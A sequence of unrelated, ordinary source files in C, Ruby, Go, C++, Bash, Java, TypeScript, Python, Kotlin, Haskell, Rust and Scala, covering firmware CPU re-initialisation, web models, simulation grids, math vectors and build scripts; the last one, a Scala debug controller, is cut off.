for_each_available_cpu(cpu) {
if (jobs[cpu->pir])
cpu_wait_job(jobs[cpu->pir], true);
}
free(jobs);
return OPAL_SUCCESS;
}
void cpu_fast_reboot_complete(void)
{
/* Fast reboot will have cleared HID0:HILE */
current_hile_mode = false;
/* and set HID0:RADIX */
current_radix_mode = true;
}
static int64_t opal_reinit_cpus(uint64_t flags)
{
struct hid0_change_req req = { 0, 0 };
struct cpu_thread *cpu;
int64_t rc = OPAL_SUCCESS;
int i;
prlog(PR_DEBUG, "OPAL: CPU re-init with flags: 0x%llx\n", flags);
if (flags & OPAL_REINIT_CPUS_HILE_LE)
prlog(PR_INFO, "OPAL: Switch to little-endian OS\n");
else if (flags & OPAL_REINIT_CPUS_HILE_BE)
prlog(PR_INFO, "OPAL: Switch to big-endian OS\n");
again:
lock(&reinit_lock);
for (cpu = first_cpu(); cpu; cpu = next_cpu(cpu)) {
if (cpu == this_cpu() || cpu->in_reinit)
continue;
if (cpu->state == cpu_state_os) {
unlock(&reinit_lock);
/*
* That might be a race with return CPU during kexec
* where we are still, wait a bit and try again
*/
for (i = 0; (i < 1000) &&
(cpu->state == cpu_state_os); i++) {
time_wait_ms(1);
}
if (cpu->state == cpu_state_os) {
prerror("OPAL: CPU 0x%x not in OPAL !\n", cpu->pir);
return OPAL_WRONG_STATE;
}
goto again;
}
cpu->in_reinit = true;
}
/*
* Now we need to mark ourselves "active" or we'll be skipped
* by the various "for_each_active_..." calls done by slw_reinit()
*/
this_cpu()->state = cpu_state_active;
this_cpu()->in_reinit = true;
unlock(&reinit_lock);
/*
* This cleans up a few things left over by Linux
* that can cause problems in cases such as radix->hash
* transitions. Ideally Linux should do it but doing it
* here works around existing broken kernels.
*/
cpu_cleanup_all();
/* If HILE change via HID0 is supported ... */
if (hile_supported &&
(flags & (OPAL_REINIT_CPUS_HILE_BE |
OPAL_REINIT_CPUS_HILE_LE))) {
bool hile = !!(flags & OPAL_REINIT_CPUS_HILE_LE);
flags &= ~(OPAL_REINIT_CPUS_HILE_BE | OPAL_REINIT_CPUS_HILE_LE);
if (hile != current_hile_mode) {
if (hile)
req.set_bits |= hid0_hile;
else
req.clr_bits |= hid0_hile;
current_hile_mode = hile;
}
}
/* If MMU mode change is supported */
if (radix_supported &&
(flags & (OPAL_REINIT_CPUS_MMU_HASH |
OPAL_REINIT_CPUS_MMU_RADIX))) {
bool radix = !!(flags & OPAL_REINIT_CPUS_MMU_RADIX);
flags &= ~(OPAL_REINIT_CPUS_MMU_HASH |
OPAL_REINIT_CPUS_MMU_RADIX);
if (radix != current_radix_mode) {
if (radix)
req.set_bits |= SPR_HID0_POWER9_RADIX;
else
req.clr_bits |= SPR_HID0_POWER9_RADIX;
current_radix_mode = radix;
}
}
/* Cleanup the TLB. We do that unconditionally, this works
* around issues where OSes fail to invalidate the PWC in Radix
* mode for example. This only works on P9 and later, but we
* also know we don't have a problem with Linux cleanups on
* P8 so this isn't a problem. If we wanted to cleanup the
* TLB on P8 as well, we'd have to use jobs to do it locally
* on each CPU.
*/
cleanup_global_tlb();
/* Apply HID bits changes if any */
if (req.set_bits || req.clr_bits)
cpu_change_all_hid0(&req);
if (flags & OPAL_REINIT_CPUS_TM_SUSPEND_DISABLED) {
flags &= ~OPAL_REINIT_CPUS_TM_SUSPEND_DISABLED;
if (tm_suspend_enabled)
rc = OPAL_UNSUPPORTED;
else
rc = OPAL_SUCCESS;
}
/* Handle P8 DD1 SLW reinit */
if (flags != 0 && proc_gen == proc_gen_p8 && !hile_supported)
rc = slw_reinit(flags);
else if (flags != 0)
rc = OPAL_UNSUPPORTED;
/* And undo the above */
lock(&reinit_lock);
this_cpu()->state = cpu_state_os;
for (cpu = first_cpu(); cpu; cpu = next_cpu(cpu))
cpu->in_reinit = false;
unlock(&reinit_lock);
return rc;
}
opal_call(OPAL_REINIT_CPUS, opal_reinit_cpus, 1);
#define NMMU_XLAT_CTL_PTCR 0xb
static int64_t nmmu_set_ptcr(uint64_t chip_id, struct dt_node *node, uint64_t ptcr)
{
uint32_t nmmu_base_addr;
nmmu_base_addr = dt_get_address(node, 0, NULL);
return xscom_write(chip_id, nmmu_base_addr + NMMU_XLAT_CTL_PTCR, ptcr);
}
/*
* Setup the the Nest MMU PTCR register for all chips in the system or
* the specified chip id.
*
* The PTCR value may be overwritten so long as all users have been
* quiesced. If it is set to an invalid memory address the system will
* checkstop if anything attempts to use it.
*
* Returns OPAL_UNSUPPORTED if no nest mmu was found.
*/
static int64_t opal_nmmu_set_ptcr(uint64_t chip_id, uint64_t ptcr)
{
struct dt_node *node;
int64_t rc = OPAL_UNSUPPORTED;
if (chip_id == -1ULL)
dt_for_each_compatible(dt_root, node, "ibm,power9-nest-mmu") {
chip_id = dt_get_chip_id(node);
if ((rc = nmmu_set_ptcr(chip_id, node, ptcr)))
return rc;
}
else
dt_for_each_compatible_on_chip(dt_root, node, "ibm,power9-nest-mmu", chip_id)
if ((rc = nmmu_set_ptcr(chip_id, node, ptcr)))
return rc;
return rc;
}
opal_call(OPAL_NMMU_SET_PTCR, opal_nmmu_set_ptcr, 2);
|
# frozen_string_literal: true
class Supplier < ApplicationRecord
has_many :supplier_locations
has_many :locations, through: :supplier_locations
has_many :subscriptions, dependent: :destroy
has_many :moves, dependent: :restrict_with_exception
# rubocop:disable Rails/UniqueValidationWithoutIndex
validates :name, :key, presence: true, uniqueness: true
# rubocop:enable Rails/UniqueValidationWithoutIndex
before_validation :ensure_key_has_value
def ==(other)
key == other.key
end
def for_feed
{
'supplier' => key,
}
end
private
def ensure_key_has_value
self.key = name.downcase.gsub(' ', '_') if key.blank? && name.present?
end
end
|
package grid
import (
"errors"
"sync"
"github.com/divan/goabm/abm"
)
type Grid struct {
mx sync.RWMutex
width, height, depth int
cells, cellsPrev []abm.Agent
nmx sync.RWMutex
}
type Point struct {
X, Y, Z int
Color int
}
func New(width, height, depth int) *Grid {
g := &Grid{
width: width,
height: height,
depth: depth,
}
g.initSlices()
return g
}
// Tick marks beginning of the new time period.
// Implements World interface.
func (g *Grid) Tick() {
g.mx.RLock()
defer g.mx.RUnlock()
g.cellsPrev = append([]abm.Agent{}, g.cells...)
}
func (g *Grid) Move(fromX, fromY, fromZ, toX, toY, toZ int) error {
if err := g.validateXYZ(fromX, fromY, fromZ); err != nil {
return err
}
if err := g.validateXYZ(toX, toY, toZ); err != nil {
return err
}
g.mx.Lock()
defer g.mx.Unlock()
agent := g.cells[g.idx(fromX, fromY, fromZ)]
g.cells[g.idx(toX, toY, toZ)] = agent
g.cells[g.idx(fromX, fromY, fromZ)] = nil
return nil
}
func (g *Grid) Copy(fromX, fromY, fromZ, toX, toY, toZ int) error {
if err := g.validateXYZ(fromX, fromY, fromZ); err != nil {
return err
}
if err := g.validateXYZ(toX, toY, toZ); err != nil {
return err
}
g.mx.Lock()
defer g.mx.Unlock()
agent := g.cells[g.idx(fromX, fromY, fromZ)]
g.cells[g.idx(toX, toY, toZ)] = agent
return nil
}
func (g *Grid) Cell(x, y, z int) abm.Agent {
if g.validateXYZ(x, y, z) != nil {
return nil
}
g.mx.RLock()
defer g.mx.RUnlock()
return g.cellsPrev[g.idx(x, y, z)]
}
func (g *Grid) SetCell(x, y, z int, c abm.Agent) {
if err := g.validateXYZ(x, y, z); err != nil {
panic(err)
}
g.mx.Lock()
g.cells[g.idx(x, y, z)] = c
g.mx.Unlock()
}
func (g *Grid) ClearCell(x, y, z int) {
g.SetCell(x, y, z, nil)
}
func (g *Grid) Width() int {
return g.width
}
func (g *Grid) Height() int {
return g.height
}
func (g *Grid) Depth() int {
return g.depth
}
func (g *Grid) validateXYZ(x, y, z int) error {
if x < 0 {
return errors.New("x < 0")
}
if x > g.width-1 {
return errors.New("x > grid width")
}
if y < 0 {
return errors.New("y < 0")
}
if y > g.height-1 {
return errors.New("y > grid height")
}
if z < 0 {
return errors.New("z < 0")
}
if z > g.depth-1 {
return errors.New("z > grid depth")
}
return nil
}
func (g *Grid) DumpFull(fn func(c abm.Agent) bool) [][][]interface{} {
g.mx.RLock()
defer g.mx.RUnlock()
var ret = make([][][]interface{}, g.width)
for i := 0; i < g.width; i++ {
ret[i] = make([][]interface{}, g.height)
for j := 0; j < g.height; j++ {
ret[i][j] = make([]interface{}, g.depth)
for k := 0; k < g.depth; k++ {
a := g.cells[g.idx(i, j, k)]
ret[i][j][k] = fn(a)
}
}
}
return ret
}
func (g *Grid) Dump(fn func(c abm.Agent) bool) []interface{} {
g.mx.RLock()
defer g.mx.RUnlock()
var ret = make([]interface{}, 0, g.size())
for i := 0; i < g.size(); i++ {
a := g.cells[i]
if fn(a) {
x, y, z := g.xyz(i)
point := Point{
X: x,
Y: y,
Z: z,
}
ret = append(ret, point)
}
}
return ret
}
func (g *Grid) size() int {
return g.depth * g.height * g.width
}
func (g *Grid) idx(x, y, z int) int {
return z*g.width*g.height + y*g.height + x
}
func (g *Grid) xyz(idx int) (int, int, int) {
z := idx / (g.height * g.width)
w := idx % (g.height * g.width)
y := w / g.depth
x := w % g.depth
return x, y, z
}
// just move this verbose initialization here for brevity.
func (g *Grid) initSlices() {
g.cells = make([]abm.Agent, g.size())
g.cellsPrev = make([]abm.Agent, g.size())
}
|
#ifndef CX_POINT_FRACTAL_H
#define CX_POINT_FRACTAL_H
#include <CPointFractal.h>
#include <CXLib.h>
#include <CXLibPixelRenderer.h>
class CXPointFractalRenderer;
class CXPointFractal : public CXWindow {
protected:
CPointFractalCalc *calc_;
CXLibPixelRenderer *renderer_;
CXPointFractalRenderer *frenderer_;
int canvas_width_;
int canvas_height_;
int max_iterations_;
double canvas_xmin_, canvas_ymin_;
double canvas_xmax_, canvas_ymax_;
bool zooming_;
int zoom_x1_, zoom_y1_;
int zoom_x2_, zoom_y2_;
bool draw_;
public:
CXPointFractal(CPointFractalCalc *calc);
~CXPointFractal();
void setRange(double xmin, double ymin, double xmax, double ymax) {
canvas_xmin_ = xmin;
canvas_ymin_ = ymin;
canvas_xmax_ = xmax;
canvas_ymax_ = ymax;
}
void resetRange();
bool exposeEvent();
bool resizeEvent();
bool buttonPressEvent (const CMouseEvent &event);
bool buttonMotionEvent (const CMouseEvent &event);
bool buttonReleaseEvent(const CMouseEvent &event);
bool keyReleaseEvent(const CKeyEvent &event);
void setForeground(const CRGBA &rgba);
void drawPoint(int x, int y);
};
#endif
|
#!/bin/bash
[[ -d build ]] && rm -rf build
meson setup build
ninja -C build
./build/rofi -theme ~/.config/awesome/configuration/rofi/appmenu/drun.rasi -show drun
|
package eu.qm.fiszki.activity.myWords.flashcards;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.support.design.widget.FloatingActionButton;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.RecyclerView;
import android.support.v7.widget.StaggeredGridLayoutManager;
import android.support.v7.widget.Toolbar;
import android.view.View;
import android.widget.TextView;
import java.util.ArrayList;
import eu.qm.fiszki.NightModeController;
import eu.qm.fiszki.R;
import eu.qm.fiszki.activity.myWords.CategoryManagerSingleton;
import eu.qm.fiszki.activity.myWords.category.CategoryActivity;
import eu.qm.fiszki.listeners.flashcard.FlashcardAddFab;
import eu.qm.fiszki.listeners.flashcard.FlashcardCancelFab;
import eu.qm.fiszki.listeners.flashcard.FlashcardDeleteFab;
import eu.qm.fiszki.listeners.flashcard.FlashcardTransformFab;
import eu.qm.fiszki.model.category.Category;
import eu.qm.fiszki.model.category.CategoryRepository;
import eu.qm.fiszki.model.flashcard.Flashcard;
import eu.qm.fiszki.model.flashcard.FlashcardRepository;
public class FlashcardsActivity extends AppCompatActivity {
private Activity mActivity;
private TextView mEmptyFlashcard;
private RecyclerView mRecycleView;
private Category mCurrentCategory;
private FloatingActionButton mFabAdd;
private SelectedFabManager mFabManager;
private FloatingActionButton mFabDelete;
private FloatingActionButton mFabCancel;
private FloatingActionButton mFabTransform;
private FlashcardRepository mFlashcardRepository;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
new NightModeController(this).useTheme();
setContentView(R.layout.flashcards_activity);
init();
buildToolbar();
buildListView();
buildFabs();
}
private void init() {
this.mActivity = this;
mFabManager = new SelectedFabManager(mActivity);
mFlashcardRepository = new FlashcardRepository(mActivity);
mEmptyFlashcard = (TextView) mActivity.findViewById(R.id.empty_category_text);
mFabAdd = (FloatingActionButton) mActivity.findViewById(R.id.fab_add_flashcard);
mFabCancel = (FloatingActionButton) mActivity.findViewById(R.id.fab_cancel_flashcard);
mFabDelete = (FloatingActionButton) mActivity.findViewById(R.id.fab_delete_flashcard);
mFabTransform = (FloatingActionButton) mActivity.findViewById(R.id.fab_transform_flashcard);
mCurrentCategory = new CategoryRepository(mActivity)
.getCategoryByID(CategoryManagerSingleton.getCurrentCategoryId());
}
@Override
public void onWindowFocusChanged(boolean hasFocus) {
if (hasFocus) {
updateListView();
mFabManager.hideAll();
SelectedFlashcardsSingleton.clearFlashcards();
}
}
@Override
public void onBackPressed() {
SelectedFlashcardsSingleton.clearFlashcards();
mFabManager.hideAll();
mActivity.startActivity(new Intent(mActivity, CategoryActivity.class));
mActivity.finish();
mActivity.overridePendingTransition(R.anim.right_out, R.anim.left_in);
}
private void buildFabs() {
mFabAdd.setOnClickListener(new FlashcardAddFab(mActivity));
mFabCancel.setOnClickListener(new FlashcardCancelFab(mActivity));
mFabDelete.setOnClickListener(new FlashcardDeleteFab(mActivity));
mFabTransform.setOnClickListener(new FlashcardTransformFab(mActivity));
}
private void buildToolbar() {
Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar);
toolbar.setNavigationIcon(R.drawable.md_nav_back);
if (mCurrentCategory.getCategory() == null) {
toolbar.setTitle(R.string.flashcard_toolbar_null_category);
} else {
toolbar.setTitle(mCurrentCategory.getCategory());
}
toolbar.setNavigationOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
onBackPressed();
}
});
}
private void buildListView() {
mRecycleView = (RecyclerView) findViewById(R.id.listview_flashcard);
StaggeredGridLayoutManager staggeredLayoutManager =
new StaggeredGridLayoutManager(1, StaggeredGridLayoutManager.VERTICAL);
mRecycleView.setLayoutManager(staggeredLayoutManager);
}
private void updateListView() {
ArrayList<Flashcard> flashcards =
mFlashcardRepository.getFlashcardsByCategoryID(mCurrentCategory.getId());
if (flashcards.isEmpty()) {
mEmptyFlashcard.setVisibility(View.VISIBLE);
} else {
mEmptyFlashcard.setVisibility(View.INVISIBLE);
}
FlashcardShowAdapter adapter = new FlashcardShowAdapter(mActivity, flashcards);
mRecycleView.swapAdapter(adapter, false);
}
}
|
#!/bin/bash
# Copyright xmuspeech (Author:Snowdar 2019-02-17)
f=1 # field of utt-id in id-file
exclude=false
force=false
share=true # if false, generate a copy of ark for out-vector-dir as a single dir but it will need some space.
scp_type=xvector.scp
. subtools/parse_options.sh
. subtools/path.sh
if [[ $# != 3 ]];then
echo "[exit] Num of parameters is not equal to 3"
echo "$0 [--exclude false|true] [--f 1] <in-vector-dir> <id-list> <out-vector-dir>"
exit 1
fi
indir=$1
idlist=$2
outdir=$3
[ ! -f "$indir/$scp_type" ] && echo "[exit] No such file $indir/$scp_type" && exit 1
[ ! -f "$idlist" ] && echo "[exit] No such file $idlist" && exit 1
[ "$force" == "true" ] && rm -rf $outdir && exit 1
[ -d "$outdir" ] && echo "[exit] $outdir is exist." && exit 1
mkdir -p $outdir/log
exclude_string=""
[[ "$exclude" == "true" ]] && exclude_string="--exclude"
if [ "$share" == "true" ];then
run.pl $outdir/log/filter.log \
awk -v f=$f '{print $f}' $idlist \| subtools/kaldi/utils/filter_scp.pl $exclude_string - $indir/$scp_type \> $outdir/$scp_type
else
run.pl $outdir/log/filter.log \
awk -v f=$f '{print $f}' $idlist \| subtools/kaldi/utils/filter_scp.pl $exclude_string - $indir/$scp_type \| copy-vector scp:- ark,scp:$outdir/$name.ark,$outdir/$scp_type
fi
echo "Filter $outdir done."
|
/* --- NODE MODULES --- */
import styled from "styled-components";
const UnorderedList = styled.ul`
list-style: none;
margin: 0 0 0.9rem 0 !important;
border-radius: var(--border-radius, 2px);
`;
export default UnorderedList;
|
/// <reference types="passport" />
import { Repository } from 'typeorm';
import { ProductDto } from './dto/Product.dto';
import { CommentDto } from './dto/comment.dto';
import { Product } from './entity/product.entity';
import { Comment } from './entity/comment.entity';
export declare class ProductService {
private productsRepository;
private commentRepository;
constructor(productsRepository: Repository<Product>, commentRepository: Repository<Comment>);
addComment(id: string, commentDto: CommentDto, user: Express.User): Promise<void>;
findAll(): Promise<Product[]>;
findAllMine(user: Express.User): Promise<Product[]>;
findOne(id: string, user: Express.User): Promise<Product>;
remove(id: string, user: Express.User): Promise<void>;
create(product: ProductDto, user: Express.User): Promise<void>;
update(product: ProductDto, id: string, user: Express.User): Promise<ProductDto>;
}
|
import mess = require('mess');
var numbers: number[] = [1, 2, 3];
mess(numbers);
numbers = mess([2, 4, 6]);
|
from typing import Any, NamedTuple, Optional
from dagster.core.definitions.events import AssetKey
class ForeignAsset(NamedTuple):
"""A ForeignAsset represents an asset that is not generated by any Dagster op in the repository
that it's referenced from."""
key: AssetKey
metadata: Optional[Any] = None
io_manager_key: str = "io_manager"
|
package loshica.quiz.repository
import io.realm.mongodb.App
import io.realm.mongodb.mongo.iterable.MongoCursor
import loshica.quiz.model.Player
import loshica.vendor.LOSApp
import org.bson.Document
object PlayerRepository {
private val collection = AppRepository.Data.playersData
val data: MutableSet<Player>?
get() {
return if (collection != null) {
val players: MutableSet<Player> = HashSet()
collection.find().iterator().getAsync { result: App.Result<MongoCursor<Document>> ->
if (result.isSuccess) {
val collection = result.get()
while (collection.hasNext()) {
val cur = collection.next()
players.add(Player.convert(cur))
}
}
}
players
} else null
}
fun addPlayer(player: Player) {
collection!!.insertOne(Player.convert(player)).getAsync { }
}
fun removePlayer(player: Player) {
collection!!.deleteOne(Document().append(LOSApp.MONGO_ID, player._id)).getAsync { }
}
}
|
{-# LANGUAGE CPP #-}
-- |
--
-- Module : Raaz.Core.Prelude
-- Copyright : (c) Piyush P Kurur, 2019
-- License : Apache-2.0 OR BSD-3-Clause
-- Maintainer : Piyush P Kurur <ppk@iitpkd.ac.in>
-- Stability : experimental
--
module Raaz.Core.Prelude ( module X
, module Prelude
) where
import Control.Applicative as X
import Control.Monad as X
import Data.Bits as X
import Data.ByteString.Char8 ()
import Data.ByteString.Lazy.Char8 ()
import Data.Kind as X
import Data.Maybe as X
import Data.Proxy as X
import Data.String as X
import Data.Word as X
import Prelude hiding (length, replicate, zipWith)
import System.IO as X
|
/**
* @file vector2.h
* @brief 2 dimensional vectors.
* @author Emmanuel Ruffio
* @date 2006-08-08
* @copyright Copyright (c) 2001-2017 Dream Overflow. All rights reserved.
* @details
*/
#ifndef _O3D_VECTOR2_H
#define _O3D_VECTOR2_H
#include "string.h"
#include "memorydbg.h"
#include <math.h>
#include "math.h"
namespace o3d {
template <class TYPE> class Vector2;
// Type definitions
typedef Vector2<Double> Vector2d;
typedef Vector2<Float> Vector2f;
typedef Vector2<Int32> Vector2i;
typedef Vector2<UInt32> Vector2ui;
typedef Vector2<Int16> Vector2s;
typedef Vector2<UInt16> Vector2us;
typedef Vector2<Int8> Vector2b;
typedef Vector2<UInt8> Vector2ub;
typedef Vector2d Point2d;
typedef Vector2f Point2f;
typedef Vector2i Point2i;
typedef Vector2ui Point2ui;
typedef Vector2s Point2s;
typedef Vector2us Point2us;
typedef Vector2b Point2c;
typedef Vector2ub Point2uc;
/**
* @class Vector2
* @brief Template class of a two dimensional vector.
*/
template <class TYPE>
class O3D_API_TEMPLATE Vector2
{
public:
//-----------------------------------------------------------------------------------
// Constructors
//-----------------------------------------------------------------------------------
//! Default constructor
Vector2() { V[X] = V[Y] = 0; }
//! Initialization constructor
Vector2(TYPE _x, TYPE _y) { V[X] = _x; V[Y] = _y; }
//! Construct from another template Vector2
template <class U>
Vector2(const Vector2<U> & _which)
{
V[X] = static_cast<TYPE>(_which[X]);
V[Y] = static_cast<TYPE>(_which[Y]);
}
//! construct from a ptr
Vector2(const TYPE * _ptr) { V[X] = _ptr[X]; V[Y] = _ptr[Y]; }
//! copy constructor
Vector2(const Vector2& dup) { V[X] = dup.V[X]; V[Y] = dup.V[Y]; }
//-----------------------------------------------------------------------------------
// Methods
//-----------------------------------------------------------------------------------
//! define the vector
inline void set(const TYPE & _x, const TYPE & _y)
{
V[X] = _x;
V[Y] = _y;
}
//! read the vector content
inline void read(TYPE &_x,TYPE &_y)const { _x = V[X]; _y = V[Y]; }
//! normalize the vector (rang[0,1])
inline void normalize()
{
TYPE value = norm2();
if (value != 0.f) value = 1.f / value;
V[0] *= value;
V[1] *= value;
}
// return the norm1 of the vector
inline TYPE norm1() const { return static_cast<TYPE>(o3d::abs(V[X]) + o3d::abs(V[Y])); }
// return the norm2 of the vector
inline TYPE norm2() const { return static_cast<TYPE>(Math::sqrt(Float(V[X]*V[X] + V[Y]*V[Y]))); }
//! return the infinite norm of the vector (the greatest absolute component)
inline TYPE normInf() const { return o3d::max(abs(V[X]), abs(V[Y])); }
//! return the length of the vector
inline TYPE length() const { return norm2(); }
//! return the squared length of the vector (norm²)
inline TYPE squareLength() const { return (V[X] * V[X] + V[Y] * V[Y]); }
//! return the ptr data of the vector
inline TYPE* getData() { return V; }
inline const TYPE* getData() const { return V; }
//-----------------------------------------------------------------------------------
// Operators
//-----------------------------------------------------------------------------------
//! Get a component of the vector
inline TYPE& operator[] (UInt32 i) { return V[i]; }
inline const TYPE& operator[] (UInt32 i) const { return V[i]; }
//! get the X component (const)
inline const TYPE& x() const { return V[X]; }
//! Get the X ref component
inline TYPE& x() { return V[X]; }
//! get the Y component (const)
inline const TYPE& y() const { return V[Y]; }
//! Get the Y ref component
inline TYPE& y() { return V[Y]; }
//! set the vector from another 2d vector
inline Vector2<TYPE>& operator= (const Vector2<TYPE> & _which)
{
V[X] = _which[X];
V[Y] = _which[Y];
return *this;
}
//! set the vector from another template 2d vector
template <class U>
inline Vector2<TYPE>& operator= (const Vector2<U> & _which)
{
V[X] = static_cast<TYPE>(_which[X]);
V[Y] = static_cast<TYPE>(_which[Y]);
return *this;
}
//! compare this to another given 2d vector
inline Bool operator== (const Vector2& _which) const { return ((V[X] == _which[X]) && (V[Y] == _which[Y])); }
inline Bool operator!= (const Vector2& _which) const { return ((V[X] != _which[X]) || (V[Y] != _which[Y])); }
//! compare the length of this to another given 2d vector
inline Bool operator< (const Vector2& _which) const { return (this->length() < _which.length()); }
inline Bool operator> (const Vector2& _which) const { return (this->length() > _which.length()); }
inline Bool operator<= (const Vector2& _which) const { return (this->length() <= _which.length()); }
inline Bool operator>= (const Vector2& _which) const { return (this->length() >= _which.length()); }
//! add this and another given 2d vector and return the new vector
inline Vector2 operator+ (const Vector2& _which)const
{
return Vector2(V[X] + _which.V[X], V[Y] + _which.V[Y]);
}
//! Subtract this from another given 2d vector and return the new vector
inline Vector2 operator- (const Vector2& _which)const
{
return Vector2(V[X] - _which.V[X], V[Y] - _which.V[Y]);
}
//! return a new vector where all component of the vector this are inverted
inline Vector2 operator- ()const { return Vector2(-V[X],-V[Y]); }
//! add a 2d vector to this and return this
inline Vector2& operator+= (const Vector2& _which)
{
V[X] += _which.V[X];
V[Y] += _which.V[Y];
return *this;
}
//! Subtract a 2d vector from this and return this
inline Vector2& operator-= (const Vector2& _which)
{
V[X] -= _which.V[X];
V[Y] -= _which.V[Y];
return *this;
}
//! return the scalar product of this to another given 2d vector
inline TYPE operator* (const Vector2& _which)const
{
return (V[X] * _which.V[X] + V[Y] * _which.V[Y]);
}
//! return the product of this by a scalar
inline Vector2 operator* (TYPE scale)const
{
return Vector2(scale * V[X], scale * V[Y]);
}
//! return the cross product of this to another given 2d vector
inline Vector2<TYPE> operator^ (const Vector2& _which) const
{
return Vector2<TYPE>(
V[X] * _which.V[Y] - V[Y] * _which.V[X],
V[Y] * _which.V[X] - V[X] * _which.V[Y]);
}
//! return the cross product of this to another given 2d vector
inline Vector2<TYPE>& operator^= (const Vector2& _which)
{
TYPE vx, vy;
vx = V[X] * _which.V[Y] - V[Y] * _which.V[X];
vy = V[Y] * _which.V[X] - V[X] * _which.V[Y];
V[X] = vx;
V[Y] = vy;
return *this;
}
//! scale of this and return this
inline Vector2& operator*= (TYPE scale)
{
V[X] *= scale;
V[Y] *= scale;
return *this;
}
//! divide this by a scalar and return the new vector
inline Vector2 operator/ (TYPE scale) const
{
return Vector2(V[X] / scale, V[Y] / scale);
}
//! divide this by a scalar
inline Vector2f& operator/= (TYPE scale)
{
V[X] /= scale;
V[Y] /= scale;
return *this;
}
//! set the vectors component to zero
inline void zero() { V[X] = V[Y] = 0; }
//! convert to a string
inline operator String()const
{
String temp;
temp << String("{ ") << V[0] << String(" , ") << V[1] << String(" }");
return temp;
}
// Serialization
inline Bool readFromFile(InStream &is)
{
is >> V[X]
>> V[Y];
return True;
}
inline Bool writeToFile(OutStream &os) const
{
os << V[X]
<< V[Y];
return True;
}
private:
TYPE V[2]; //!< vector components
};
// Additional operators
// External products
template <class TYPE>
inline Vector2<TYPE> operator* (TYPE _scalar, const Vector2<TYPE> &_which)
{
return Vector2<TYPE>(_scalar * _which[X], _scalar * _which[Y]);
}
// Specializations
template <> inline Vector2<Float>::Vector2() { V[X] = V[Y] = 0.f; }
template <> inline void Vector2<Float>::zero() { V[X] = V[Y] = 0.f; }
template <> inline Bool Vector2<Float>::operator!= (const Vector2<Float>& vec) const;
template <> inline Bool Vector2<Float>::operator== (const Vector2<Float>& vec) const;
template <> inline Bool Vector2<Double>::operator!= (const Vector2<Double>& vec) const;
template <> inline Bool Vector2<Double>::operator== (const Vector2<Double>& vec) const;
template <> inline Float Vector2<Float>::norm2() const { return (Math::sqrt(V[X]*V[X] + V[Y]*V[Y])); }
template <> inline Double Vector2<Double>::norm2() const { return (::sqrt(V[X]*V[X] + V[Y]*V[Y])); }
struct O3D_API Vector
{
static Vector2d nullVector2d;
static Vector2f nullVector2f;
static Vector2i nullVector2i;
static Vector2ui nullVector2ui;
static Vector2s nullVector2s;
static Vector2us nullVector2us;
static Vector2b nullVector2b;
static Vector2ub nullVector2ub;
};
} // namespace o3d
#endif // _O3D_VECTOR2_H
|
/**
* \file flow-rs/src/loader/python/channel.rs
* MegFlow is Licensed under the Apache License, Version 2.0 (the "License")
*
* Copyright (c) 2019-2021 Megvii Inc. All rights reserved.
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT ARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
use super::context::with_context;
use super::envelope::PyEnvelope;
use crate::channel::{BatchRecvError, Receiver, Sender};
use pyo3::prelude::*;
use stackful::wait;
use std::{sync::Arc, time::Duration};
#[pyclass(unsendable)]
pub struct PySender {
pub imp: Arc<Sender>,
}
#[pyclass(unsendable)]
pub struct PyReceiver {
pub imp: Arc<Receiver>,
}
#[pymethods]
impl PySender {
fn send(&mut self, py: Python, envelope: Py<PyEnvelope>) {
let envelope = envelope.borrow_mut(py).imp.take().expect("use after move");
with_context(py, || wait(self.imp.send(envelope)).ok());
}
}
#[pymethods]
impl PyReceiver {
fn recv(&mut self, py: Python) -> PyObject {
match with_context(py, || wait(self.imp.recv::<PyObject>())) {
Ok(msg) => Py::new(py, PyEnvelope { imp: Some(msg) })
.unwrap()
.to_object(py),
_ => py.None(),
}
}
fn batch_recv(&self, py: Python, n: usize, dur: u64) -> (Vec<PyObject>, bool) {
let convert = |envelope| {
Py::new(
py,
PyEnvelope {
imp: Some(envelope),
},
)
.unwrap()
.to_object(py)
};
match with_context(py, || {
wait(
self.imp
.batch_recv::<PyObject>(n, Duration::from_millis(dur)),
)
}) {
Ok(msg) => (msg.into_iter().map(convert).collect(), false),
Err(BatchRecvError::Closed(msg)) => (msg.into_iter().map(convert).collect(), true),
}
}
}
pub trait Owned2PyObject {
fn into_object(self, py: Python) -> PyResult<PyObject>;
}
impl Owned2PyObject for std::sync::Arc<Sender> {
fn into_object(self, py: Python) -> PyResult<PyObject> {
let sender = PySender { imp: self };
Ok(PyCell::new(py, sender)?.to_object(py))
}
}
impl Owned2PyObject for std::sync::Arc<Receiver> {
fn into_object(self, py: Python) -> PyResult<PyObject> {
let receiver = PyReceiver { imp: self };
Ok(PyCell::new(py, receiver)?.to_object(py))
}
}
|
package controllers
import io.suggest.sec.util.Csrf
import io.suggest.util.logs.MacroLogsImplLazy
import javax.inject.Inject
import play.api.Environment
import play.api.mvc.Result
import util.acl.{IsSu, SioControllerApi}
import util.adv.direct.AdvRcvrsUtil
import util.img.DynImgUtil
import views.html.sys1.debug._
/**
* Suggest.io
* User: Konstantin Nikiforov <konstantin.nikiforov@cbca.ru>
* Created: 18.06.15 16:16
* Description: Sys-контроллер для отладки.
*/
final class SysDebug @Inject() (
isSu : IsSu,
sioControllerApi : SioControllerApi,
)
extends MacroLogsImplLazy
{
import sioControllerApi._
private lazy val advRcvrsUtil = injector.instanceOf[AdvRcvrsUtil]
private lazy val dynImgUtil = injector.instanceOf[DynImgUtil]
private lazy val env = injector.instanceOf[Environment]
private lazy val csrf = injector.instanceOf[Csrf]
/** Экшен для отображения индексной страницы. */
def index() = csrf.AddToken {
isSu() { implicit request =>
Ok( indexTpl() )
}
}
/** Запуск поиска и ремонта неправильных ресиверов в карточках. */
def resetAllRcvrs() = csrf.Check {
isSu().async { implicit request =>
for (count <- advRcvrsUtil.resetAllReceivers()) yield {
Ok(s"$count ads updated.")
}
}
}
/** Запуск сброса значений полей MJdEdgeId.dynFormat для картинок на orig-значения. */
def resetImgsToOrig() = csrf.Check {
isSu().async { implicit request =>
for {
nodesCompleted <- dynImgUtil.resetJdImgDynFormatsToOrigOnNodes()
} yield {
